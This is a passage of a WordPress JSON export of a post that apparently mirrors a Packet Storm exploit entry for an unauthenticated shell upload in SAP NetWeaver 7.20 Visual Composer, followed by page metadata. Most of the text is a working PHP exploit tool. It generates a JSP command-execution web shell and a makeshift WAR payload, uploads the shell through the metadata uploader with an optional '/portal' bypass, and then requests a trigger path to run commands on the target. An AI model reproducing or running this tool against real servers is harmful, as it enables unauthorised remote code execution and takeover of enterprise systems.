}\\n                    .result { background: #f8f9fa; padding: 15px; margin: 10px 0; border-radius: 5px; }\\n                    .success { background: #d4edda; color: #155724; }\\n                    .error { background: #f8d7da; color: #721c24; }\\n                    .warning { background: #fff3cd; color: #856404; }\\n                \\u003c\/style\\u003e\\n            \\u003c\/head\\u003e\\n            \\u003cbody\\u003e\\n                \\u003ch1\\u003e \u0646\u062a\u0627\u0626\u062c \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\u003c\/h1\\u003e\\n                \\u003cdiv class=\\&#8221;result\\&#8221;\\u003e&#8217;;\\n            \\n            try {\\n                $results = $this-\\u003eexecuteExploit();\\n                $this-\\u003edisplayResults($results);\\n            } catch (Exception $e) {\\n                echo &#8216;\\u003cdiv class=\\&#8221;error\\&#8221;\\u003e\u062e\u0637\u0623: &#8216; . htmlspecialchars($e-\\u003egetMessage()) . &#8216;\\u003c\/div\\u003e&#8217;;\\n            }\\n            \\n            echo &#8216;\\u003c\/div\\u003e\\n                \\u003cbr\\u003e\\n                \\u003ca href=\\&#8221;&#8216; . $_SERVER[&#8216;PHP_SELF&#8217;] . &#8216;\\&#8221; style=\\&#8221;padding: 10px 20px; background: #007bff; color: white; text-decoration: none; border-radius: 5px;\\&#8221;\\u003e\u21bb \u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0646\u0645\u0648\u0630\u062c\\u003c\/a\\u003e\\n                \\u003c\/body\\u003e\\n                \\u003c\/html\\u003e&#8217;;\\n        }\\n        \\n        private function executeExploit() {\\n            $results = [];\\n    \\n            $host = $_POST[&#8216;host&#8217;] ?? &#8221;;\\n            $port = $_POST[&#8216;port&#8217;] ?? &#8216;50001&#8217;;\\n            $endpoint = $_POST[&#8216;endpoint&#8217;] ?? &#8221;;\\n            \\n            if (empty($host) || empty($endpoint)) {\\n                throw new Exception(\\&#8221;\u064a\u062c\u0628 \u062a\u0639\u0628\u0626\u0629 \u0627\u0644\u062d\u0642\u0648\u0644 \u0627\u0644\u0625\u0644\u0632\u0627\u0645\u064a\u0629\\&#8221;);\\n            }\\n            \\n            $results[] = \\&#8221; \u0627\u0644\u0647\u062f\u0641: $host:$port\\&#8221;;\\n            $results[] = \\&#8221;\u0627\u0644\u0645\u0633\u0627\u0631: $endpoint\\&#8221;;\\n            $payloadFile = $this-\\u003ehandlePayload();\\n            $results[] = \\&#8221; \u0627\u0644\u062d\u0645\u0648\u0644\u0629: \\&#8221; . basename($payloadFile);\\n    \\n            $https = isset($_POST[&#8216;https&#8217;]) ? true : false;\\n            $baseUrl = ($https ? &#8216;https&#8217; : &#8216;http&#8217;) . \\&#8221;:\/\/$host:$port\\&#8221;;\\n    \\n            if (isset($_POST[&#8216;bypass_portal&#8217;])) {\\n                $endpoint = str_replace(&#8216;\/portal&#8217;, &#8221;, $endpoint);\\n                $results[] = \\&#8221; \u062a\u0645 \u062a\u062c\u0627\u0648\u0632 Portal: $endpoint\\&#8221;;\\n            }\\n            \\n            \/\/ Execute upload\\n            $uploadResult = $this-\\u003euploadFile($baseUrl, $endpoint, $payloadFile);\\n            $results[] = \\&#8221; \u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u0631\u0641\u0639: \\&#8221; . $uploadResult;\\n    \\n            $triggerPath = $_POST[&#8216;trigger_path&#8217;] ?? &#8221;;\\n            if (!empty($triggerPath)) {\\n                $triggerResult = $this-\\u003etriggerPayload($baseUrl, $triggerPath);\\n                $results[] = \\&#8221; \u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u062a\u0641\u0639\u064a\u0644: \\&#8221; . $triggerResult;\\n            }\\n    \\n            if (strpos($payloadFile, $this-\\u003econfig[&#8216;upload_dir&#8217;]) !== false) {\\n                unlink($payloadFile);\\n            }\\n            \\n            return $results;\\n        }\\n        \\n        private function handlePayload() {\\n            $payloadType = $_POST[&#8216;payload_type&#8217;] ?? &#8216;file&#8217;;\\n            \\n            if ($payloadType === &#8216;file&#8217;) {\\n    \\n                if (!isset($_FILES[&#8216;payload_file&#8217;]) || $_FILES[&#8216;payload_file&#8217;][&#8216;error&#8217;] !== UPLOAD_ERR_OK) {\\n                    throw new Exception(\\&#8221;\u062e\u0637\u0623 \u0641\u064a \u0631\u0641\u0639 \u0627\u0644\u0645\u0644\u0641\\&#8221;);\\n                }\\n                \\n                $uploadedFile = $_FILES[&#8216;payload_file&#8217;];\\n                $filename = $this-\\u003econfig[&#8216;upload_dir&#8217;] . uniqid() . &#8216;_&#8217; . $uploadedFile[&#8216;name&#8217;];\\n                \\n                if (!move_uploaded_file($uploadedFile[&#8216;tmp_name&#8217;], $filename)) {\\n                    throw new Exception(\\&#8221;\u0641\u0634\u0644 \u0641\u064a \u062d\u0641\u0638 \u0627\u0644\u0645\u0644\u0641\\&#8221;);\\n                }\\n                \\n                return $filename;\\n                \\n            } else {\\n    \\n                return $this-\\u003egeneratePayload();\\n            }\\n        }\\n        \\n        private function generatePayload() {\\n            $type = $_POST[&#8216;payload_type&#8217;];\\n            $filename = $this-\\u003econfig[&#8216;upload_dir&#8217;] . &#8216;generated_&#8217; . uniqid();\\n            \\n            if ($type === &#8216;generate_jsp&#8217;) {\\n                $filename .= &#8216;.jsp&#8217;;\\n                $command = $_POST[&#8216;command&#8217;] ?? &#8216;whoami&#8217;;\\n                $content = $this-\\u003egenerateJspPayload($command);\\n            } elseif ($type === &#8216;generate_war&#8217;) {\\n                $filename .= &#8216;.war&#8217;;\\n                $lhost = $_POST[&#8216;lhost&#8217;] ?? &#8216;192.168.1.100&#8217;;\\n                $lport = $_POST[&#8216;lport&#8217;] ?? &#8216;4444&#8217;;\\n                $content = $this-\\u003egenerateWarPayload($lhost, $lport);\\n            }\\n            \\n            file_put_contents($filename, $content);\\n            return $filename;\\n        }\\n        \\n        private function generateJspPayload($command) {\\n            return &#8216;\\u003c%@ page import=\\&#8221;java.util.*,java.io.*\\&#8221; %\\u003e\\n    \\u003c%\\n    String cmd = \\&#8221;&#8216; . $command . &#8216;\\&#8221;;\\n    if (cmd != null) {\\n        Process p = Runtime.getRuntime().exec(cmd);\\n        OutputStream os = p.getOutputStream();\\n        InputStream in = p.getInputStream();\\n        DataInputStream dis = new DataInputStream(in);\\n        String disr = dis.readLine();\\n        while (disr != null) {\\n            out.println(disr);\\n            disr = dis.readLine();\\n        }\\n    }\\n    %\\u003e&#8217;;\\n        }\\n        \\n        private function generateWarPayload($lhost, $lport) {\\n            $jspContent = $this-\\u003egenerateJspPayload(&#8216;id&#8217;);\\n            $warContent = \\&#8221;PK\\\\x03\\\\x04\\&#8221;; \/\/ ZIP header\\n            $webXml = &#8216;\\u003c?xml version=\\&#8221;1.0\\&#8221; ?\\u003e\\n    \\u003cweb-app xmlns=\\&#8221;http:\/\/java.sun.com\/xml\/ns\/j2ee\\&#8221;\\n        version=\\&#8221;2.4\\&#8221;\\u003e\\n        \\u003cdisplay-name\\u003eShell\\u003c\/display-name\\u003e\\n    \\u003c\/web-app\\u003e&#8217;;\\n            \\n            return $warContent . $webXml . $jspContent;\\n        }\\n        \\n        private function uploadFile($baseUrl, $endpoint, $payloadFile) {\\n            $url = $baseUrl . $endpoint;\\n            $fieldName = $_POST[&#8216;field_name&#8217;] ?? &#8216;UPLOAD_METADATA&#8217;;\\n            \\n            $ch = curl_init();\\n            $postData = [\\n                $fieldName =\\u003e new CURLFile($payloadFile)\\n            ];\\n            \\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e $postData,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_TIMEOUT =\\u003e 10\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            $error = curl_error($ch);\\n            curl_close($ch);\\n            \\n            if ($error) {\\n                return \\&#8221;\u062e\u0637\u0623: \\&#8221; . $error;\\n            }\\n            \\n            return \\&#8221;HTTP $httpCode &#8211; \\&#8221; . substr($response, 0, 100);\\n        }\\n        \\n        private function triggerPayload($baseUrl, $triggerPath) {\\n            $url = $baseUrl . $triggerPath;\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_TIMEOUT =\\u003e 10\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            curl_close($ch);\\n            \\n            return \\&#8221;HTTP $httpCode &#8211; \\&#8221; . substr($response, 0, 50);\\n        }\\n        \\n        private function displayResults($results) {\\n            foreach ($results as $result) {\\n                $class = &#8216;result&#8217;;\\n                if (strpos($result, &#8216;\u062e\u0637\u0623&#8217;) !== false) {\\n                    $class .= &#8216; error&#8217;;\\n                } elseif (strpos($result, &#8216;\u0646\u062c\u0627\u062d&#8217;) !== false) {\\n                    $class .= &#8216; success&#8217;;\\n                } elseif (strpos($result, &#8216;\u062a\u062d\u0630\u064a\u0631&#8217;) !== false) {\\n                    $class .= &#8216; warning&#8217;;\\n                }\\n                \\n                echo \\&#8221;\\u003cdiv class=\\\\\\&#8221;$class\\\\\\&#8221;\\u003e$result\\u003c\/div\\u003e\\&#8221;;\\n            }\\n        }\\n    }\\n    \\n    $app = new SAPWebExploit();\\n    $app-\\u003ehandleRequest();\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215831&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215831\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:05&#8243;,&#8221;description&#8221;:&#8221;SAP NetWeaver Visual Composer contains an unauthenticated file upload vulnerability in the metadata uploader component that allows attackers to upload arbitrary files including JSP web&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-41396","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41396\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:05&#8243;,&#8221;description&#8221;:&#8221;SAP NetWeaver Visual Composer contains an unauthenticated file upload vulnerability in the metadata uploader component that allows attackers to upload arbitrary files including JSP web...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41396\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-18T11:48:36+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41396#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41396\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831\",\"datePublished\":\"2026-02-18T11:48:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41396\"},\"wordCount\":3548,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41396#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41396\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41396\",\"name\":\"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-18T11:48:36+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41396#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41396\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41396#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41396","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:32:05&#8243;,&#8221;description&#8221;:&#8221;SAP NetWeaver Visual Composer contains an unauthenticated file upload vulnerability in the metadata uploader component that allows attackers to upload arbitrary files including JSP web...","og_url":"https:\/\/zero.redgem.net\/?p=41396","og_site_name":"zero redgem","article_published_time":"2026-02-18T11:48:36+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"18 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41396#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41396"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831","datePublished":"2026-02-18T11:48:36+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41396"},"wordCount":3548,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41396#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41396","url":"https:\/\/zero.redgem.net\/?p=41396","name":"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-18T11:48:36+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41396#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41396"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41396#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 SAP NetWeaver 7.20 Visual Composer Metadata Shell Upload_PACKETSTORM:215831"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41396"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41396\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}